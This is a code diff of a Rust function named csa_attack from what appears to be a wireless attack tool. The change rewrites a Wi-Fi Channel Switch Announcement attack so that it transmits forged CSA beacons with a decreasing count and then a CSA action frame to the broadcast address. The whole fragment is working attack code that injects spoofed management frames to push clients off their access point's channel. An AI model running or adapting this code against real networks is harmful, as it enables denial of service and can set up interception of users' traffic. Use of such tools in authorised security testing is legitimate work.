@@ -36,7 +36,7 @@ use crate::{
3636// //
3737//////////////////////////////////////////////////////////////
3838
39- pub fn csa_attack ( oxide : & mut OxideRuntime , mut beacon : Beacon ) -> Result < ( ) , String > {
39+ pub fn csa_attack ( oxide : & mut OxideRuntime , beacon : Beacon ) -> Result < ( ) , String > {
4040 if oxide. config . disable_csa {
4141 return Ok ( ( ) ) ;
4242 }
@@ -74,48 +74,44 @@ pub fn csa_attack(oxide: &mut OxideRuntime, mut beacon: Beacon) -> Result<(), St
7474
7575 // If we are transmitting
7676 if !oxide. config . notx {
77- let random_client = ap_data
78- . client_list
79- . get_random ( )
80- . map ( |client| client. mac_address ) ;
81-
82- // Send a CSA action frame to a random client
83- if let Some ( client) = random_client {
84- let frx = build_csa_action ( & client, & ap_data. mac_address , new_channel) ;
77+ // Send 5 beacons with decreasing counts
78+ for count in ( 0 ..6 ) . rev ( ) {
79+ let frx = build_csa_beacon ( beacon. clone ( ) , new_channel. into ( ) , count) ;
8580 let _ = write_packet ( oxide. raw_sockets . tx_socket . as_raw_fd ( ) , & frx) ;
8681 oxide. status_log . add_message ( StatusMessage :: new (
8782 MessageType :: Info ,
8883 format ! (
89- "CSA Attack (Action ): {} => {} ({}) Channel: {}" ,
84+ "CSA Attack (Beacon ): {} ({}) Channel: {} | Count : {}" ,
9085 ap_mac,
91- client,
9286 beacon
9387 . station_info
9488 . ssid
9589 . clone( )
9690 . unwrap_or( "Hidden" . to_string( ) ) ,
97- new_channel
91+ new_channel,
92+ count
9893 ) ,
9994 ) ) ;
10095 }
10196
102- // Send beacons too
103- for _ in 0 ..10 {
104- let frx = build_csa_beacon ( beacon. clone ( ) , new_channel. into ( ) ) ;
105- let _ = write_packet ( oxide. raw_sockets . tx_socket . as_raw_fd ( ) , & frx) ;
106- }
97+ let client = MacAddress :: broadcast ( ) ;
10798
108- ap_data. interactions += 1 ;
109- ap_data. auth_sequence . state = 1 ;
99+ // Send a CSA action frame to broadcast
100+ let frx = build_csa_action ( & client, & ap_data. mac_address , new_channel) ;
101+ let _ = write_packet ( oxide. raw_sockets . tx_socket . as_raw_fd ( ) , & frx) ;
110102 oxide. status_log . add_message ( StatusMessage :: new (
111103 MessageType :: Info ,
112104 format ! (
113- "CSA Attack (Beacon*10): {} ({}) Channel: {}" ,
105+ "CSA Attack (Action): {} => {} ({}) Channel: {}" ,
114106 ap_mac,
107+ client,
115108 beacon. station_info. ssid. unwrap_or( "Hidden" . to_string( ) ) ,
116109 new_channel
117110 ) ,
118111 ) ) ;
112+
113+ ap_data. interactions += 1 ;
114+ ap_data. auth_sequence . state = 1 ;
119115 }
120116
121117 Ok ( ( ) )
0 commit comments